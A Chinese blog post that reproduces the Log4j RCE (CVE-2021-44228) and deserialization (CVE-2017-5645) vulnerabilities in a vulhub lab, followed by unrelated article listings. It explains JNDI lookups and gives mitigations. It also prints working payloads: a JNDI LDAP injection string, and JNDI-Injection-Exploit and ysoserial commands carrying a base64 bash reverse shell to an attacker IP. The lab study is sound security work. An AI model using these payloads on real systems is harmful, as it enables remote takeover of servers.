当前位置：首页 > news >正文

log4j漏洞复现--vulhub靶场

news 来源：原创 2025/7/16 7:45:11

声明：学习过程参考了同站的B1g0rang大佬的文章
Web网络安全-----Log4j高危漏洞原理及修复(B1g0rang)

CVE-2021-44228 RCE漏洞

Log4j 即 log for java(java的日志) ，是Apache的一个开源项目，通过使用Log4j，我们可以控制日志信息输送的目的地是控制台、文件、GUI组件，甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等；我们也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是，这些可以通过一个配置文件来灵活地进行配置，而不需要修改应用的代码。

漏洞产生原因

log4j2 在日志输出中，一旦在log字符串中检测到${}，就会调用lookup查询尝试解析其中的字符串，如果未对字符合法性进行严格的限制，攻击者构造恶意的URL地址让其解析，利用 JNDI 协议加载的远程恶意脚本，从而造成RCE。

Lookups机制

“ Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. ”
以上內容复制于log4j2的官方文档lookup - Office Site。其清晰地说明了lookups的主要功能就是提供另外一种方式以添加某些特殊的值到日志中，以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。（lookups是实现StrLookup接口的特定类型的插件）lookups给开发者提供了更加方便的后端开发过程中的调试效率

lookups可以通过 {$xx} 的方式来执行一些命令和操作，log4j支持在日志中使用该表达式执行命令。下面是log4j使用lookup的简单示例，可以打印系统os信息。

public void test() {log.info("{$java:os}");
}

这样就能理解，为什么常见的Log4j漏洞的playload是以下格式的：

${jndi:ldap}
${jndi:ldaps}
${jndi:rmi}
${jndi:iiop}
${jndi:iiopname}
${jndi:corbaname}
${jndi:dns}
${jndi:nis}

观察上面的palyload就能发现，每个playload里面都有jndi

JNDI简介

JNDI（Java Naming and Directory Interface–Java）命名和目录接口是Java中为命名和目录服务提供接口的API，通过名字可知道，JNDI主要由两部分组成：Naming（命名）和Directory（目录），其中Naming是指将对象通过唯一标识符绑定到一个上下文Context，同时可通过唯一标识符查找获得对象，而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中，同时可通过名字获取对象的属性同时操作属性。
在这里插入图片描述

JNDI主要由JNDI API和JNDI SPI两部分组成，Java应用程序通过JNDI API访问目录服务，而JNDI API会调用Naming Manager实例化JNDI SPI，然后通过JNDI SPI去操作命名或目录服务其如LDAP， DNS，RMI等，JNDI内部已实现了对LDAP，DNS， RMI等目录服务器的操作API。

通过上面可以知道，JNDI可以实现对LADP、RMI等服务的操作，所以攻击者只需要构建一个LADP或RMI远程服务即可，让远程服务器返回恶意class

LADP

LDAP（Lightweight Directory Access Protocol）：顾名思义，一个轻量级的目录访问协议，用来访问目录服务（Directory Service）。
那么LDAP协议作为一个访问协议，它在技术架构的表现上是一个CS架构模式：以IDaaS为例，IDaaS产品要解决的三个问题，都是会作为LDAP Client去访问LDAP Server（这里LDAP Server和Directory Service等同了），来实现功能
在这里插入图片描述

RMI

RMI（即Remote Method Invocation）是Java平台一个分布式应用程序的应用编程接口（API），它是Java Remote Method Protocol（JRMP）的实现，这个协议代表了Java语言特有的远程过程调用（RPC）系统。

RMI允许一个对象通过一个网络在另外一个虚拟机上被调用，这些对象称之为远程对象

在这里插入图片描述

在了解了上面这些东西后，画了一个图帮助理解
攻击者定义一个接口，在接口中定义数据库操作等。
攻击者携带lookup支持表达式进行请求服务器。
服务器通过log4j打印出请求信息。
log4j打印完成后会执行JNDI操作。
这样就解释了漏洞的产生，极其高危！

图解

在这里插入图片描述

Log4j漏洞修复

1.升级到受影响版本的修复版：
（1）对于Apache Log4j 2.x 用户，建议升级到2.17.0版本以上。这些版本修复了漏洞，并包含其他安全增强措施。
（2）对于Apache Log4j 1.x 用户，目前官方并未针对1.x版本提供官方修复版。建议升级到Log4j 2.x版本，或者考虑使用其他日志记录库。

2.阻止使用JNDI来加载远程资源：
如果您无法立即升级到修复版本，可以通过在Log4j配置中禁用使用JNDI来加载远程资源来减少风险。可以通过在log4j2.xml文件中将JndiLookup类从配置中移除或设置为安全的FallbackJndiLookup或DummyLookup来实现。

3.启用安全策略：
为了进一步减少潜在的风险，应该考虑启用安全策略来限制代码执行。可以通过在log4j2.xml文件中添加安全策略配置来实现。

4.清除受影响系统的缓存：
Log4j有一个缓存机制，可以存储已解析的XML配置。为了确保新的配置生效，您可能需要清除缓存。可以通过清除 Log4j 的上下文选择器缓存来实现。

除了以上方法外，了解并关注官方发布的漏洞修复和更新是非常重要的，因为该漏洞的细节和修复程度可能会发生变化。推荐遵循安全最佳实践，并随时关注官方漏洞通告和安全更新。

影响范围

Apache Log4j 2.x<=2.14.1

漏洞复现

系统环境

攻击机IP：192.168.200.131
靶机IP：192.168.200.142

用docker搭的，vulhub的CVE-2021-44228漏洞，主页是solr——搜索应用服务器

在这里插入图片描述

测试漏洞是否存在

漏洞点
有一个传入参数的点

http://192.168.200.142:8983/solr/admin/cores?action=

在这里插入图片描述

使用jndi传入参数，使用dnslog测试是否存在漏洞
dnslog有返回值即存在漏洞

http://192.168.200.142:8983/solr/admin/cores?action=${jndi:ldap://oi1i0w.dnslog.cn}

在这里插入图片描述

getshell

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具利用
项目地址：welk1n/JNDI-Injection-Exploit · GitHub

需要在攻击机运行，同时攻击机监听

利用payload：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.131"

base64编码是bash命令：

bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

-A：是攻击机IP

在这里插入图片描述

运行工具，返回rmi和ldap的利用代码
使用jdk 1.8的ldap代码，将代码构造参数传参，拼接给action参数

ldap://192.168.200.131:1389/bmltud${jndi:ldap://192.168.200.131:1389/bmltud}http://192.168.200.142:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/bmltud}

在这里插入图片描述

成功获取root反弹shell

在这里插入图片描述

CVE-2017-5645 反序列化漏洞

漏洞原理

以TCP为例，传入的inputstream，没有过滤被包装为ObjectInputStream，传给logEvents后执行了readObject()进行反序列化，造成了漏洞。

漏洞复现

用docker搭建，vulhub拉取资源

在这里插入图片描述

搭建完成后，用nmap扫一下端口是否开放
open就表示正常，不是web服务

在这里插入图片描述

使用工具ysoserial进行利用
需要java8环境

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc 192.168.200.142 4712

在这里插入图片描述

进入容器查看是否执行成功，成功生成文件

docker exec -it d9daf7ea881d /bin/bash

在这里插入图片描述

反弹shell

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.200.142 4712

base64编码：是bash命令的编码：bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

在这里插入图片描述

成功获取root权限的shell

在这里插入图片描述

log4j漏洞复现--vulhub靶场

声明：学习过程参考了同站的B1g0rang大佬的文章 Web网络安全-----Log4j高危漏洞原理及修复(B1g0rang) CVE-2021-44228 RCE漏洞 Log4j 即 log for java(java的日志) ，是Apache的一个开源项目，通过使用Log4j，我们可以控制日志信息输…...

编程日记 2025/7/16 7:45:11

K8s面试系列：K8s常用 API 资源总结速记

写在前面博文内容为 K8s 中常用的API 资源简单总结适合对K8s 有基本认知，温习，面试准备的小伙伴内容涉及：API 资源组成，SSA 和 CSA 资源操作方式，以及下面资源类别简单描述工作负载：Deployments,StatefulSets,HorizontalPodAutoscaler (HPA)…服务: Service,Ingress,E…...

编程日记 2025/7/15 1:38:03

汽车免拆案例 | 2007款宝马650i车发动机偶尔无法起动

故障现象一辆2007款宝马650i车，搭载N62B48B发动机，累计行驶里程约为26万km。车主反映，发动机偶尔无法起动，故障频率较低，十几天出现1 次，且故障出现时起动机不工作。故障诊断　接车后试车，…...

编程日记 2025/7/14 16:21:22

前端（三）html标签(2)

html标签(2) 文章目录 html标签(2)一、列表标签二、表格三、form表单一、列表标签 html中的列表分为无序列表、有序列表和自定义列表。   <ul><li>秒杀</li&g…...

编程日记 2025/7/7 14:55:54

D91【python 接口自动化学习】- pytest基础用法

day91 pytest的setup，setdown详解（三） 学习日期：20241207 学习目标：pytest基础用法 -- pytest的setup，setdown详解（三） 学习笔记： setup、teardown详解（三…...

编程日记 2025/7/13 11:08:33

云桌面：云计算桌面

目录云桌面的定义和核心概念技术架构详解主流架构详解管理成本分析安全性措施应用场景详解云桌面的定义和核心概念云桌面是一种通过云计算技术提供的虚拟桌面服务，它允许用户通过网络访问远程服务器上的虚拟机，这些虚拟机为用户提供了一个…...

编程日记 2025/7/15 8:54:51

Word处理表格的一些宏

目录 1、表格首行居中2、表格内容靠左上下居中（排除首行） 1、表格首行居中说明： 遇到错误将进行捕获，然后继续处理下一个表格宏： Sub 表格首行居中()Dim tbl As tableOn Error Resume Next 错误时继续执行下一个…...

编程日记 2025/7/7 2:55:59

Linux网络编程---本地套接字

1.概述本地套接字 1：作用:本地的进程间通信 2.有关系的进程间通信 3.没有关系的进程间的通信本地套结字实现流程和网络套结字实现相似，一般采用tcp 二.通信流程本地套结字通信的流程:1.服务器端:1.1 int fd socket(AF_UNIX/AF_LOCAL,…...

编程日记 2025/7/14 12:15:19

C#自动验证发票真假的程序

C#自动验证发票真假的程序 using Microsoft.Azure.CognitiveServices.Vision.ComputerVision; using Microsoft.Azure.CognitiveServices.Vision.ComputerVision.Models; using System; using System.IO; using System.Threading.Tasks;namespace InvoiceValidation {class Pr…...

编程日记 2025/7/15 18:08:23

后端技术进阶知识总结

前端开发、后端开发、AI算法与应用等技术进阶知识总结前言1.前端开发2.后端开发3.AI算法3.1 Studio级别的AI工具使用前言本文不记录基础性问题和详细解决方案。只记录key idea。 1.前端开发 2.后端开发依赖注入（Dependency Injection，简称DI&…...

编程日记 2025/7/15 9:35:13

opencv复习

目录 1.core 1.图像变换 1.1 affine仿射变换 1.2 透视变换 2.四元数（旋转） 2.1 轴角转四元数 2.2 旋转矩阵转四元数 2.3 欧拉角转旋转矩阵 2.4 四元数转旋转矩阵 2.5 四元数用eigen用的比较多 2. imgproc. Image Processing 2.1 bilateralF…...

编程日记 2025/7/15 12:28:36

【Unity高级】在编辑器中如何让物体围绕一个点旋转固定角度

本文介绍如何在编辑器里让物体围绕一个点旋转固定角度，比如上图里的Cube是围绕白色圆盘的中心旋转45度的。目标： 创建一个在 Unity 编辑器中使用的旋转工具，使开发者能够在编辑模式下快速旋转一个物体。实现思路： 编辑模式下…...

编程日记 2025/7/14 15:40:00

通过IP远程连接MySQL服务时不允许连接到这个MySQL服务器

当你在连接Mysql时报这个错误时 is not allowed to connect to this MySQL server，意思是 MySQL 服务器不允许来自 IP 地址的连接。这通常是由于 MySQL 服务器的访问控制列表（ACL）限制了特定主机的连接。要解决这个问题，你需要授…...

编程日记 2025/7/13 19:30:33

试题转excel；pdf转excel；试卷转Excel，word试题转excel

一、问题描述一名教师朋友，偶尔会需要整理一些高质量的题目到excel中以往都是手动复制搬运，几百道题几乎需要一个下午的时间关键这些事，枯燥无聊费眼睛，实在是看起来就很蠢的工作就想着做一个工具，可以自动处理…...

编程日记 2025/7/13 11:20:57

wordpress网站使用Linux宝塔面板和SQL命令行导入导出超过50M限制的数据库

wordpress网站使用Linux宝塔面板添加mysql数据库，使用phpMyAdmin工具导入sql数据库文件，会有最大限制50M。即使把sql数据库文件压缩为gzip或zip压缩包，压缩包也超过50M，该怎么办？怎样导入超过50M数据库呢？ …...

编程日记 2025/7/13 20:12:14

VCP-CLIP A visual context prompting modelfor zero-shot anomaly segmentation

GitHub - xiaozhen228/VCP-CLIP: (ECCV 2024) VCP-CLIP: A visual context prompting model for zero-shot anomaly segmentation 需要构建正样本，异常样本，以及对应的Mask...

编程日记 2025/7/3 18:06:02

【原生js案例】webApp实现鼠标移入移出相册放大缩小动画

图片相册这种动画效果也很常见，在我们的网站上。鼠标滑入放大图片，滑出就恢复原来的大小。现在我们使用运动定时器来实现这种滑动效果。感兴趣的可以关注下我的系列课程【webApp之h5端实战】，里面有大量的css3动画效果制作原生知识分析&…...

编程日记 2025/7/14 10:34:01

杂谈随笔-关于unity开发游戏

最近有在做unity的游戏开发，都是自学，甚至没有完整的课程体系…… 在犹豫要不要出系列教程，帮助新手快速入门的同时算是巩固一下基础知识。那这篇文章先谈谈我对于引擎开发游戏的一些小观点，算是做了这么十几个星期的微不足道的…...

编程日记 2025/7/15 6:46:49

base64转file文件对象

1.base64转file文件对象 //将base64转换为文件 dataURLtoFile(dataurl, filename) { var arr dataurl.split(,),mime arr[0].match(/:(.*?);/)[1],bstr atob(arr[1]),n bstr.length,u8arr new Uint8Array(n);while (n--) {u8arr[n] bstr.charCodeAt(n);}return new Fil…...

编程日记 2025/7/15 17:45:16

【jvm】为什么要有GC

目录 1. 自动内存管理2. 提升程序稳定性3. 优化性能4. 跨平台能力5. 分代回收策略 1. 自动内存管理 1.JVM中的GC机制负责自动管理内存，这意味着开发人员不需要手动分配和释放内存。2.这一特性大大简化了Java程序的内存管理，降低了内存泄漏和内存溢出等问…...

编程日记 2025/7/15 13:12:35

开发指南085-大号版elementUI

ElementUI有些地方显示实在太小，不方便操作，需要放大： 1、el-dialog的标题栏那个关闭符号使用如下方法放大 ::v-deep .el-dialog__headerbtn { font-size: 40px; font-weight: 700; top: 0px; } 2、el-table-column 设置sor…...

编程日记 2025/7/10 4:36:01

#渗透测试#红蓝对抗#SRC漏洞挖掘# Yakit（5）进阶模式-MITM中间人代理与劫持(下)

免责声明本教程仅为合法的教学目的而准备，严禁用于任何形式的违法犯罪活动及其他商业行为，在使用本教程前，您应确保该行为符合当地的法律法规，继续阅读即表示您需自行承担所有操作的后果，如有异议，请立即停…...

编程日记 2025/7/14 5:05:17

使用WebStorm开发Vue3项目

记录一下使用WebStorm开发Vu3项目时的配置现在WebStorm可以个人免费使用啦！?? 基本配置打包工具：Vite 前端框架：ElementPlus 开发语言：Vue3、TypeScript、Sass 代码检查：ESLint、Prettier IDE：WebSt…...

编程日记 2025/7/15 9:10:55

Mac 录制电脑系统内的声音的具体方法？

1.第一步：下载BlackHole 软件方式1：BlackHole官方下载地址方式2： 百度云下载提取码: n5dp 2.第二步：安装BlackHole 双击下载好的BlackHole安装包，安装默认提示安装。 3.第三步：在应用程序中找到音频…...

编程日记 2025/7/13 9:38:35

计算机网络

1.网络协议是什么？ 在计算机网络要做到有条不紊地交换数据，就必须遵守一些约定好的规则，比如交换数据地格式，是否需要发送一个应答信息。这些规则被称为网络协议。分层结构应用层：为计算机用户提供服务表示层&…...

编程日记 2025/7/15 19:49:12

爬取某市KFC餐厅信息（POST请求+PYMYSQL）

# 简介本教程将指导您如何使用Python爬取石家庄市的KFC门店信息，并将这些信息存储到MySQL数据库中。我们将使用requests库来发送网络请求，pymysql库来操作MySQL数据库。环境准备在开始之前，请确保您已经安装了以下Python库&#xff1a…...

编程日记 2025/7/15 15:26:04

109.【C语言】数据结构之二叉树层序遍历

目录 1.知识回顾 2.代码实现准备工作 LevelOrder函数代码框架关键代码 3.执行结果 1.知识回顾层序遍历参见106.【C语言】数据结构之二叉树的三种递归遍历方式文章截取的部分内容定义:按层的方式遍历(,设n为树的深度,h1-->h2-->h3-->...-->hn) 以下面…...

编程日记 2025/7/12 11:33:36

Java转C之内存管理

从 Java 转向 C 语言开发，内存管理和指针是两个核心且关键的概念。这些概念在 Java 中被抽象和自动化处理，而在 C 语言中则需要开发者手动管理和操作。目录内存管理概述指针基础指针的定义与初始化地址运算符 & 和解引用运算符 *指针运算动态内…...

编程日记 2025/7/15 21:58:49

共享内存和信号量

一、共享内存原理 1、基础前提共享内存是为了进程之间通信服务的。进程间的通信的核心是要让两个不同的进程看到同一份资源。之前的匿名管道通过父子进程继承的关系，让父子进程看到同一份资源，进而进行通信；命名管道则是通过唯一的路径让两…...

编程日记 2025/7/13 8:21:32

SED命令

基本用法： sed命令具体应用： 1.删除第2-5行 nl regular_express.txt | sed 2d结果： 2.在第二行之后新增两行，分别为"drink tea…" 和"drink beer?" nl regular_express.txt | sed 2 a\ drink tea...\…...

编程日记 2025/7/15 12:05:20

洛谷 P6368 [COCI2006-2007#6] MAGIJA C语言

题目：https://www.luogu.com.cn/problem/P6368 题目背景知名魔术师 AlDimi Kartimi 需要你帮助他来设计他扑克牌的背面图案。题目描述众所周知，扑克牌的背面是一个矩形，通过做两边的中垂线可以将矩形分成相等的四部分。 AlDimi Karti…...

编程日记 2025/7/8 20:28:17

TDesign：Picker 选择器

Picker 选择器 API文档地址单列选择器用法 /// view onTap:(){TDPicker.showMultiPicker(context,data: [controller.coinList],title: ,rightTextStyle: TextStyle(color: AppColors.ColorMain),onConfirm: (selected) {controller.onTapCoin(selected);Navigator.of(contex…...

编程日记 2025/7/15 1:24:27

LLMs之Agent之Lares：Lares的简介、安装和使用方法、案例应用之详细攻略

LLMs之Agent之Lares：Lares的简介、安装和使用方法、案例应用之详细攻略导读：这篇博文介绍了 Lares，一个由简单的 AI 代理驱动的智能家居助手模拟器，它展现出令人惊讶的解决问题能力。 >> 背景痛点：每天都有新的…...

编程日记 2025/7/13 1:25:40

实验3-实时数据流处理-Flink

1.前期准备 （1）Flink基础环境安装参考文章： 利用docker-compose来搭建flink集群-CSDN博客显示为这样就成功了 （2）把docker，docker-compose，kafka集群安装配置好参考文章： …...

编程日记 2025/7/15 4:52:18

axios笔记

一、axios是什么前端最流行的ajax请求库二、json-server json-server可以帮助我们搭建http服务为什么要搭建http服务？ ：是因为我们用axios的时候，需要向服务端发送请求我们需要服务端这样一个角色，来与axios结合做实践 1.…...

编程日记 2025/7/12 6:17:12

python拆分Excel文件

按Sheet拆分Excel 或按照某一列的不同值拆分Excel。文档样式如下： 结果：红色是按照Sheet名拆出的，蓝色和橙色是某个Sheet按照某列的不同值拆分的。代码： # -*- coding: utf-8 -*- """ 拆分excel文件——按照…...

编程日记 2025/7/11 8:43:49

使用IntelliJ IDEA开发Gradle插件并发布到本地

博主所用软件版本为： IntelliJ IDEA 2024.1.4 (Community Edition) Android Studio Ladybug Feature Drop | 2024.2.2 Beta 1 1、制作gradle插件（IntelliJ IDEA 2024.1.4） 新建groovy工程，File–>New–>Project… 右键点…...

编程日记 2025/7/13 13:10:07

C# 通过smtp发送邮件（配置好了参数可以直接用）

可以直接用 using System; using System.Net; using System.Net.Mail;class EmailSender {// 发送邮件的函数，接收SMTP配置作为参数public static void SendEmail(string smtpServer, int smtpPort, string senderEmail, string senderPassword, string subject, s…...

编程日记 2025/7/13 18:25:20

【数据结构】栈和队列

目录 1.栈 1.1.栈的概念及结构 1.2.栈的实现 2.队列 2.1.队列的概念及结构 2.2.队列的实现 3.运用栈理解一道题 4.使用两个队列实现一个栈 1.栈 1.1.栈的概念及结构首先，我们来了解一种新的数据结构——栈。栈是一种特殊的线性表，其只允许在固…...

编程日记 2025/7/15 15:00:51

使用 Spring Doc 为 Spring REST API 生成 OpenAPI 3.0 文档

Spring Boot 3 整合 springdoc-openapi 概述 springdoc-openapi 是一个用于自动生成 OpenAPI 3.0 文档的库，它支持与 Spring Boot 无缝集成。通过这个库，你可以轻松地生成和展示 RESTful API 的文档，并且可以使用 Swagger UI 或 ReDoc 进行…...

编程日记 2025/7/13 20:36:54

网络数据库安全和数据安全概述

1、数据安全的三要素完整性，机密性，可用性 2、安全技术和措施数据完整性技术、数据备份和恢复技术、数据加密技术、访问控制技术、用户管理和身份验证技术 3、数据库安全数据库安全是指数据库的任何部分都不允许受到侵害，或未经授权的…...

编程日记 2025/7/15 10:12:20

STM32F10X与GD32工程创建区别

1.宏定义区别 GD32虽然与STM32F10X的管脚兼容，但是用keil创建工程时，GD32在选择芯片型号的时候就已经自己定义了宏。STM32F10x需要手动定义宏。在以下界面定义用到的单片机。 2.时钟区别。GD32最大时钟为120Mhz,所用的hal库里面的系统初始化会初始化时钟…...

编程日记 2025/6/28 18:32:06

cmakelist使用总结

支持能编译成在不同系统上运行程序的方法我们代码就一份，但有时需要编译成arm32，有时需要编译成x86_64,或更多 1、首先先将代码定义一个名称： #将所有的源文件列为一个集合，集合名字叫做SRC_LISTS set(SRC_LISTS main.cpp A.cpp…...

编程日记 2025/7/15 17:12:08

【论文阅读】国际开源发展经验及其对我国开源创新体系建设的启示

作者：包云岗老师包云岗老师是计算机体系结构方向的大牛，推动了体系结构方面的开源事业! 欢迎对本栏目感兴趣的人学习"一生一芯"~ 学习体会： 承接前文，唐志敏老师讲到已有的软硬件生态系统和开发成本制约了对新结构的探…...

编程日记 2025/7/12 17:05:53

React 初学者指南：从零开始构建第一个 React 应用

React 是一个用于构建用户界面的 JavaScript 库，它能够让我们高效地构建复杂的 UI。对于 React 初学者来说，最重要的就是理解它的基本概念以及如何开始使用它。本文将引导你从零开始构建你的第一个 React 应用 1.1. 安装 React 环境首先&#xff0c…...

编程日记 2025/7/15 21:18:59

力扣93题：复原 IP 地址

力扣93题：复原 IP 地址（C语言实现详解） 题目描述给定一个只包含数字的字符串 s，复原它并返回所有可能的 IP 地址格式。有效的 IP 地址需满足以下条件： IP 地址由四个整数（每个整数位于 0 到 255 之间…...

编程日记 2025/7/12 23:48:47

字符编码发展历史

文章目录发展历史- ASCII- ISO-8859- Unicode- UTF系列- UTF-8- UTF-16- UTF-32 - 中文编码- GB2312- GBK- GB18030 - 其他编码归纳总结发展历史计算机的基础是二进制数字（0和1）。虽然人类日常使用的是各种字符（如字母、数字、符号等&am…...

编程日记 2025/7/14 15:25:11

aws codepipeline + github + sonarqube + jenkins实践CI/CD

https://blog.csdn.net/u011564831/article/details/144007981文章浏览阅读1.2k次，点赞31次，收藏21次。本文使用 Jenkins 结合 CodeBuild, CodeDeploy 实现 Serverless 的 CI/CD 工作流，用于自动化发布已经部署 lambda 函数。在 AWS 海外区&a…...

编程日记 2025/7/14 9:50:28

KNN_识别图片数字

1.实验过程省略灰度化处理过程，用已经处理好的txt数据进行训练 3.jpg from PIL import Image def imgtotxt(imgfile,txtfile,size (32,32)):image_file Image.open(imgfile).resize(size,Image.LANCZOS).convert(L)width,height image_file.sizef open(txtfile,…...

编程日记 2025/7/14 10:07:34

python 清华pip镜像源报HTTP error 403

报错信息 ERROR: HTTP error 403 while getting https://mirrors.tuna.tsinghua.edu.cn/pypi/web/packages/52/79/a64937a2185b91a96cc5406e3ea58120980c725543d047e112fb3084a972/fake_useragent-2.0.0-py3-none-any.whl (from https://mirrors.tuna.tsinghua.edu.cn/pypi/we…...

编程日记 2025/7/1 19:53:47

CVE-2021-44228 RCE漏洞

漏洞产生原因

Lookups机制

JNDI简介

LADP

RMI

图解

Log4j漏洞修复

影响范围

漏洞复现

系统环境

测试漏洞是否存在

getshell

CVE-2017-5645 反序列化漏洞

漏洞原理

漏洞复现

反弹shell

相关文章：